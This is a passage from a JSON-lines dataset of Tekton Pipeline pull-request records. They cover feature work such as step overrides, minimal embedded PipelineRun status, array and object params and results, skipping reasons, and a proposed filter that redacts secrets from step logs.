facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n\r\n```release-note\r\n[Feature] Implement Step and Sidecar Overrides for TaskRun\r\n```\r\n", "created_at": "2022-02-18T18:40:13Z", "deletions": 13, "discovered_via": "tep_file_link", "files_changed": 9, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [4326], "merged_at": "2022-03-11T13:43:17Z", "pr_number": 4598, "repo": "pipeline", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["jerop", "lbernick", "vdemeester", "wlynch"], "title": "Implement Step and Sidecar Overrides for TaskRun"} +{"additions": 491, "body": "# Changes\r\nThis commit adds methods to merge a slice of Step overrides with a slice of Steps.\r\nThis functionality is necessary for the full implementation of Step and Sidecar overrides.\r\nIt re-uses the merge process that is used to combine Steps and Step templates;\r\nhowever, the Step is treated as the \"template\" so that the Step override takes precedence.\r\nWe do not attempt to validate the resource requirements of the resulting pod;\r\nit's possible for the resulting pod to have resource requests > limits, which k8s will reject.\r\nThis is the same way we currently handle Step template.\r\nPart 2 of #4326.\r\nThis is part of #4598, split out into its own PR.\r\n\r\n/kind feature\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n```release-note\r\nNONE\r\n```\r\n", "created_at": "2022-02-24T15:37:50Z", "deletions": 35, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["kind/feature", "approved", "lgtm", "size/XL", "release-note-none"], "linked_issues": [], "merged_at": "2022-03-03T18:27:15Z", "pr_number": 4617, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["dibyom", "lbernick", "vdemeester"], "title": "Add functions to merge step/sidecar overrides"} +{"additions": 12, "body": "Change default metrics level for Taskrun to task and\r\nPipelinerun to pipeline. Part of TEP0073\r\n\r\n\r\n\r\n# Changes\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nMetrics Default Changes:\r\nThe Level for taskrun and pipelinerun metrics will change in this release.\r\nBy default, taskrun and pipelinerun metrics have these values:\r\n\r\n``` yaml\r\n metrics.taskrun.level: \"task\"\r\n metrics.taskrun.duration-type: \"histogram\"\r\n metrics.pipelinerun.level: \"pipeline\"\r\n metrics.pipelinerun.duration-type: \"histogram\"\r\n```", "created_at": "2022-02-28T10:06:25Z", "deletions": 17, "discovered_via": "tep_file_link", "files_changed": 6, "labels": ["approved", "lgtm", "size/S", "release-note"], "linked_issues": [], "merged_at": "2022-03-10T20:00:17Z", "pr_number": 4630, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["jerop", "khrm", "pritidesai", "vdemeester"], "title": "Change Default Metrics Level for Taskrun and Pipelinerun"} +{"additions": 498, "body": "# Changes\r\n\r\nReplaces #4694 (in part - there'll be a followup for the actual implementation)\r\n\r\nSee https://github.com/tektoncd/community/blob/main/teps/0100-embedded-taskruns-and-runs-status-in-pipelineruns.md\r\n\r\nThis adds new choices for how `TaskRun` and `Run` statuses are stored/referenced in `PipelineRun`\r\nstatuses, depending on how the new feature flag, `embedded-status` is set:\r\n* `full` - the current default, with the `TaskRun` and `Run` statuses embedded in full.\r\n* `minimal` - instead of storing the full embedded statuses, information is stored about the task's\r\n version, kind, `PipelineTask` name, and the underlying name of the `TaskRun` or `Run`. This can be\r\n used to look up the `TaskRun` or `Run` itself and get the full status from there. Information\r\n which is specific to the `PipelineRun`, namely condition checks status and when expressions which\r\n may have blocked creation of an actual `TaskRun` or `Run` are stored as well.\r\n* `both` - both the full embedded `TaskRun` and `Run` statuses and the minimal references are stored.\r\n\r\nThe condition check information will be removed from the minimal references once the now-deprecated\r\ncondition check functionality is removed from Tekton Pipeline.\r\n\r\nAs described in https://github.com/tektoncd/community/blob/main/teps/0100-embedded-taskruns-and-runs-status-in-pipelineruns.md#beta-api,\r\n9 months after this change has been released in `v1beta1`, the default value for the\r\n`embedded-status` feature flag will be changed from `full` to `minimal`, and a few months after\r\nthat, the `embedded-status` feature flag will be removed entirely and only the `minimal` behavior\r\nwill remain.\r\n\r\nNote that this also may address #4657, since I had to add documentation for `PipelineRunStatus`,\r\nand while I was there, I added some missing top-level fields to the `PipelineRun` definition.\r\n\r\nThe actual implementation will follow this PR.\r\n\r\n/kind tep\r\n/kind api-change\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nAdded syntactic support and feature flags for minimal `TaskRun` and `Run` statuses within `PipelineRun` statuses.\r\n```\r\n", "created_at": "2022-03-23T16:16:07Z", "deletions": 100, "discovered_via": "tep_file_link", "files_changed": 11, "labels": ["approved", "lgtm", "size/XL", "kind/api-change", "release-note", "kind/tep"], "linked_issues": [], "merged_at": "2022-03-25T10:50:22Z", "pr_number": 4705, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["abayer", "jerop", "lbernick", "vdemeester"], "title": "[TEP-0100] Fields/flags/docs for embedded TaskRun and Run statuses in PipelineRuns"} +{"additions": 1480, "body": "# Changes\r\n\r\nThis change is to minimize the size of the actual implementation. We need to change a number of\r\ntests in `pkg/reconciler/pipelinerun/pipelinerun_test.go` to be table-based, so that we can test\r\nbehavior under each possible value for the new `embedded-status` feature flag. Here, we just\r\nmodify the relevant tests to be table-based and use a parameterized helper function for the actual\r\nexecution, with a test case for each value.\r\n\r\nIt also adds helper functions for checking the relevant fields in the `PipelineRun` status, which\r\nare hard-coded to always handle the current, \"full\" embedded status approach.\r\n\r\nThis also splits out `TestUpdatePipelineRunStatusFromTaskRuns` and `TestUpdatePipelineRunStatusFromRuns`\r\ninto a separate file, `pipelinerun_updatestatus_test.go`. When the TEP-0100 implementation lands,\r\nthis will also contain additional tests for updating via child references. Splitting like this helps\r\nkeep `pipelinerun_test.go` from getting even more bloated than it is currently.\r\n\r\nUntil the implementation, these table-based tests are purely duplicative - they're going to run the\r\nsame and check the same things for any value of `embedded-status`, but the implementation PR will be\r\ncleaner, only adding the implementation and changing the helper functions to take all of the\r\npossible \"embedded-status\" values into account. The changes which need to be made in the\r\nimplementation PR are all marked with `// TODO(abayer): ...` in `pipelinerun_test.go` and\r\n`pipelinerun_updatestatus_test.go`.\r\n\r\n/kind tep\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```", "created_at": "2022-04-04T15:17:35Z", "deletions": 751, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["approved", "lgtm", "size/XXL", "release-note-none", "kind/tep"], "linked_issues": [], "merged_at": "2022-04-06T17:29:14Z", "pr_number": 4734, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": ["abayer", "lbernick", "vdemeester"], "title": "[TEP-0100] Prepare for testing of minimal status implementation"} +{"additions": 1079, "body": "# Changes\r\n\r\nSee:\r\n* https://github.com/tektoncd/community/blob/main/teps/0100-embedded-taskruns-and-runs-status-in-pipelineruns.md\r\n* https://github.com/tektoncd/pipeline/pull/4705\r\n* https://github.com/tektoncd/pipeline/pull/4734\r\n* https://github.com/tektoncd/pipeline/pull/4753\r\n* https://github.com/tektoncd/pipeline/pull/4757\r\n* https://github.com/tektoncd/pipeline/pull/4760\r\n* https://github.com/tektoncd/pipeline/issues/3140\r\n\r\nThis implements TEP-0100, allowing for choosing between the original full embedded `TaskRun` and\r\n`Run` statuses in `PipelineRun` statuses, minimal child references to the underlying `TaskRun` and\r\n`Run`s, or both, building on top of all the other PRs referenced above.\r\n\r\n/kind tep\r\n/kind feature\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nAdded implementation for minimal `TaskRun` and `Run` statuses within `PipelineRun` statuses. \r\n```\r\n", "created_at": "2022-04-06T18:05:56Z", "deletions": 177, "discovered_via": "tep_file_link", "files_changed": 10, "labels": ["kind/feature", "approved", "lgtm", "size/XXL", "release-note", "kind/tep"], "linked_issues": [], "merged_at": "2022-04-15T08:15:16Z", "pr_number": 4739, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["abayer", "lbernick", "vdemeester"], "title": "[TEP-0100] Implementation for embedded TaskRun and Run statuses in PipelineRuns"} +{"additions": 320, "body": "# Changes\r\n\r\nThis comes out of discussions on #4739 - with the new minimal embedded status\r\nchanges which will be introduced in that PR, we can see that we're currently\r\nusing the output of `pipelineRunFacts.State.GetTaskRunsStatus(pr)` and\r\n`pipelineRunFacts.State.GetRunsStatus(pr)` for two separate purposes:\r\n\r\n* To set `pr.Status.TaskRuns` and `pr.Status.Runs` with the full embedded status\r\n* To pass to `resources.ApplyTaskResultsToPipelineResults` for populating results\r\n\r\nIt's understandable why `ApplyTaskResultsToPipelineResults` is using\r\nthe maps from `pr.Status.[TaskRuns|Runs]`, since those maps do contain everything\r\nneeded for propagating results up from the tasks to the pipeline run, but if you\r\nlook at the current implementation, you can see that it's shuffling the maps\r\naround into a different form that's more suited for what it's doing than the\r\noriginal form.\r\n\r\nSo this PR reworks `ApplyTaskResultsToPipelineResults` to instead take maps in\r\nthe form the current implementation uses internally, with new functions on\r\n`PipelineRunState` to get these new maps without needing to use the `pr.Status.[TaskRuns|Runs]`\r\nform as an intermediary. This makes the pre-minimal-embedded-status\r\nimplementation cleaner, and is particularly helpful in that regard once we do\r\nhave minimal embedded status in place.\r\n\r\n/kind misc\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- n/a [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n", "created_at": "2022-04-12T21:23:45Z", "deletions": 341, "discovered_via": "tep_file_link", "files_changed": 5, "labels": ["approved", "lgtm", "size/XL", "release-note-none", "kind/misc"], "linked_issues": [], "merged_at": "2022-04-13T17:13:16Z", "pr_number": 4753, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["abayer", "lbernick", "vdemeester"], "title": "Switch ApplyTaskResultsToPipelineResults to not use status maps"} +{"additions": 437, "body": "# Changes\r\n\r\nThis builds on #4694, #4734, and #4753. It will feed into a revamped #4739, all as part\r\nof https://github.com/tektoncd/community/blob/main/teps/0100-embedded-taskruns-and-runs-status-in-pipelineruns.md\r\nand #3140.\r\n\r\nSpecifically, this adds functionality to `pkg/reconciler/pipelinerun/resources` in\r\n`pipelinerunresolution.go` and `pipelinerunstate.go` which will be needed for the\r\nfull implementation. These changes won't have any effects in the current situation,\r\nbecause `pr.Status.ChildReferences` is never populated, so can be made independently\r\nof the rest of the implementation, thus also shrinking the size of the rest of the\r\nimplementation PR(s) for easier review.\r\n\r\n/kind tep\r\n/kind feature\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n", "created_at": "2022-04-13T17:14:23Z", "deletions": 99, "discovered_via": "tep_file_link", "files_changed": 5, "labels": ["kind/feature", "approved", "lgtm", "size/XL", "release-note-none", "kind/tep"], "linked_issues": [], "merged_at": "2022-04-14T15:18:16Z", "pr_number": 4757, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["abayer", "lbernick", "vdemeester"], "title": "[TEP-0100] Add functionality to be used in supporting minimal embedded status"} +{"additions": 849, "body": "# Changes\r\n\r\nAnd of course, this is part of https://github.com/tektoncd/community/blob/main/teps/0100-embedded-taskruns-and-runs-status-in-pipelineruns.md,\r\nbuilding on a pile of other PRs (#4705, #4734, #4753, #4757).\r\n\r\nThis adds a new function to `pkg/reconciler/pipelinerun/pipelinerun.go`,\r\nspecifically for updating `pr.Status.ChildReferences` during reconciliation. It's\r\nanalogous to the existing `updatePipelineRunStatusFromTaskRuns` and\r\n`updatePipelineRunStatusFromRuns` functions. This PR doesn't actually call the\r\nnew function - behavior is exactly the same. But it adds the new function,\r\nalong with other functions it depends on. In the final step of the\r\nimplementation, these other functions will also be used in `...FromTaskRuns`\r\nand/or `...FromRuns`.\r\n\r\nI also reworked `pkg/reconciler/pipelinerun/pipelinerun_updatestatus_test.go`\r\nto improve its test fixtures, so that they're easier to reuse and instantiated\r\nvia YAML parsing as much as possible.\r\n\r\n/kind tep\r\n/kind feature\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n", "created_at": "2022-04-14T15:37:45Z", "deletions": 330, "discovered_via": "tep_file_link", "files_changed": 3, "labels": ["kind/feature", "approved", "lgtm", "size/XXL", "release-note-none", "kind/tep"], "linked_issues": [], "merged_at": "2022-04-14T17:07:18Z", "pr_number": 4760, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["abayer", "lbernick", "vdemeester"], "title": "[TEP-0100] Add new `updatePipelineRunStatusFromChildRefs` function"} +{"additions": 181, "body": "\r\n\r\n# Changes\r\n\r\nThis commit is the first step of [TEP-0076](https://github.com/tektoncd/community/blob/main/teps/0076-array-result-types.md), to support array and object\r\nin resutls we need to add type for TaskResult and TaskRunResult first.\r\nBefore this commit we don't have the Type for these results.\r\n\r\nBesides, for we move the `TaskResult` and `TaskRunResult` into the centralized `result_types.go`, so it will be consistent with `pararm_types.go`\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n\r\n\r\n```release-note\r\nAdd Type for TaskRunResult and TaskResult.\r\n```\r\n", "created_at": "2022-04-20T14:53:02Z", "deletions": 27, "discovered_via": "tep_file_link", "files_changed": 11, "labels": ["approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2022-04-29T21:58:51Z", "pr_number": 4779, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "dibyom", "lbernick", "vdemeester", "ywluogg"], "title": "[TEP-0076]Add type for results"} +{"additions": 646, "body": "\r\n\r\n# Changes\r\n\r\n\r\n/kind feature\r\n\r\n> Note: This new feature is gated by the alpha flag.\r\n\r\nThis PR serves as an initial implementation of [[TEP-0075]](https://github.com/tektoncd/community/blob/main/teps/0075-object-param-and-result-types.md) which is part of #4723 . Highlights:\r\n#### Add dictionary type\r\n* Add `properties` section in `ParamSpec` struct (key:string, val: `PropertySpec` struct)\r\n* Add `ObjectVal` in `ArrayOrString` struct (needs to rename this struct in future pr)\r\n* Implement `UnmarshalJSON` and `MarshalJSON` for `ArrayOrString` of `object` type.\r\n\r\n#### Mutating webhook (SetDefault)\r\n* Infer `ParamSpec` type if `properties` section is provided\r\n* Infer `ParamSpec` type if `objectVal` is provided in default\r\n* Set default type (string) for `PropertySpec` if `properties` is provided and `PropertySpec`'s type field is not provided.\r\n\r\n#### Task/TaskRun level Validation\r\n* `ParamSpec` Type validation (for object type)\r\n* `PropertySpec` Type validation\r\n* Object type param definition validation i.e. `properties` is provided, required keys are provided etc.\r\n* Object param's names and its key names are referenced correctly\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [ ] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nAdd support for dictionary in Params values (and Results as well). This should affect *backward* compatibilities *but* it will break forward compatibilities in some cases (a.k.a. old client with new pipeline version)\r\naction required: This changes the `ArrayOrStruct` structure, which will have effect on project using the go API as a library.\r\n```\r\n\r\n", "created_at": "2022-04-22T05:03:36Z", "deletions": 50, "discovered_via": "tep_file_link", "files_changed": 14, "labels": ["kind/feature", "approved", "lgtm", "size/XL", "release-note-action-required"], "linked_issues": [], "merged_at": "2022-05-11T18:56:59Z", "pr_number": 4786, "repo": "pipeline", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["Yongxuanzhang", "chuangw6", "dibyom", "wlynch", "ywluogg"], "title": "[TEP-0075] Support Dictionary in Params"} +{"additions": 574, "body": "\r\n\r\n# Changes\r\nThis is part of work in [TEP-0076](https://github.com/tektoncd/community/blob/main/teps/0076-array-result-types.md)\r\nThis commit provides support for emitting array results. Previous to\r\nthis commit we have changed the TaskResults Type to support array. But we can only emit string type result.\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n\r\n\r\n```release-note\r\nSupport array type for emitting results from a task as an alpha feature.\r\n\r\nThe type of the result is changed from string to ArrayOrString.\r\n\r\nA task can specify a type to produce array result, such as:\r\n\r\n results:\r\n - name: array-results\r\n type: array\r\n description: The array results\r\n\r\nAnd the task script can populate result in an array form with:\r\n\r\necho -n \"[\\\"hello\\\",\\\"world\\\"]\" | tee $(results.array-results.path)\r\n\r\n This feature is part of the TEP-0076 and its in progress to index into the array result while consuming that result.\r\n```\r\n", "created_at": "2022-05-02T18:29:54Z", "deletions": 79, "discovered_via": "tep_file_link", "files_changed": 22, "labels": ["approved", "lgtm", "size/XL", "release-note"], "linked_issues": [], "merged_at": "2022-05-25T03:51:04Z", "pr_number": 4818, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "dibyom", "pritidesai", "ywluogg"], "title": "[TEP-0076] Add array support for emitting results"} +{"additions": 114, "body": "TEP-0103: Skipping Reason : Add SkippingReason to SkippedTasks field of PipelineRunStatus.\r\n\r\nToday, users only know that a PipelineTask was skipped, but they don't know for which exact reason.\r\nThis can be confusing when debugging Pipelines. In this PR, we add the reason for skipping to the\r\nSkippedTasks field in PipelineRunStatus to improve usability and debuggability.\r\n\r\n\r\n\r\n\r\n# Changes\r\n\r\nThis commit adds a field `Reason` of type [`SkippingReason`][reasons] (a string alias) to the [`SkippedTasks`][skipped-tasks] field in `PipelineRunStatus`.\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n\r\n\r\n```release-note\r\nAdd SkippingReason to SkippedTasks field of PipelineRunStatus. This enables users to know the exact reason why a given PipelineTask was skipped.\r\n```\r\n\r\n[skipped-tasks]: https://github.com/tektoncd/pipeline/blob/053833cb10f3829d5a366daa1f431b293dcf3285/pkg/apis/pipeline/v1beta1/pipelinerun_types.go#L466-L476\r\n[reasons]: https://github.com/tektoncd/pipeline/blob/053833cb10f3829d5a366daa1f431b293dcf3285/pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go#L42-L62", "created_at": "2022-05-03T18:07:25Z", "deletions": 77, "discovered_via": "tep_file_link", "files_changed": 9, "labels": ["approved", "lgtm", "size/L", "ok-to-test", "release-note"], "linked_issues": [], "merged_at": "2022-05-05T14:45:09Z", "pr_number": 4829, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["chitrangpatel", "jerop", "lbernick"], "title": "TEP-0103: Skipping Reason - Add SkippingReason to SkippedTasks field of PipelineRunStatus"} +{"additions": 195, "body": "\r\n\r\n# Changes\r\n\r\nTEP PR: [TEP-0106](https://github.com/tektoncd/community/pull/695/files?short_path=73ff193#diff-73ff193d992eee5e22f0ef8ffe1dfcb1bdbc819293702d821c4f68877fb26155)\r\n\r\nThis work will support a user specifying the required metadata (annotations and/or labels) for a referenced `Task` in a `PipelineRun`. So the metadata depending on an execution context can be added in the runtime when they can not be statically defined in a `Task` during the \"authoring\" time.\r\n\r\n# TODO\r\n- [x] Confirm annotations propagating details\r\n- [x] Update unit tests\r\n- [x] Fix integration tests\r\n- [x] Update docs\r\n- [x] Apply similar logics on `labels`\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n```release-note\r\nSupport Specifying Metadata per Task in Runtime (PipelineRun)\r\n```\r\n\r\n", "created_at": "2022-05-04T17:02:43Z", "deletions": 25, "discovered_via": "tep_file_link", "files_changed": 7, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2022-05-27T16:16:09Z", "pr_number": 4834, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "austinzhao-go", "jerop", "lbernick"], "title": "TEP-0106: Support Specifying Metadata per Task in Runtime"} +{"additions": 1462, "body": "\r\n\r\n# Changes\r\n\r\n\r\n\r\nThis PR is related to https://github.com/tektoncd/pipeline/issues/3373. The issue was closed by your bot but the topic is still relevant to us.\r\n\r\nIt solves the problem that secret values are printed to the output log. All secrets contained in the namespace of the pod will be redacted. The pod needs a service account token with permissions to read out all secret in the namespace from the api server.\r\n\r\nI added a credential filter to the runner app of tekton steps. It reads out all secrets from the namespace of the pod and redacts them from the output log.\r\n\r\nThis is currently a draft, I would be happy to polish it if you have interest in adopting this approach.\r\n\r\n/kind feature\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [ ] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [ ] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n```release-note\r\nadd credential filter that can be activated via a new feature flag `enable-logging-credentials-filter`\r\n```\r\n\r\n\r\n", "created_at": "2022-05-05T09:54:43Z", "deletions": 23, "discovered_via": "tep_file_link", "files_changed": 29, "labels": ["kind/feature", "size/XXL", "ok-to-test", "release-note", "needs-rebase"], "linked_issues": [], "merged_at": null, "pr_number": 4837, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": ["JeromeJu", "Useurmind", "lbernick"], "title": "Add credentials filter to entrypoint logger"} +{"additions": 789, "body": "Tekton Pipelines resources are verbose mostly because of explicitly propagating Parameters. Implicit Parameters feature was added to reduce the verbosity. However, there are challenges caused by mutating specifications to support Implicit Parameters. This PR builds on this prior work by propagating Parameters without mutating specifications to improve usability of Tekton Pipelines. This addresses features proposed in [TEP-0107](https://github.com/tektoncd/community/blob/main/teps/0107-propagating-parameters.md).\r\n\r\n\r\n\r\n# Changes\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# 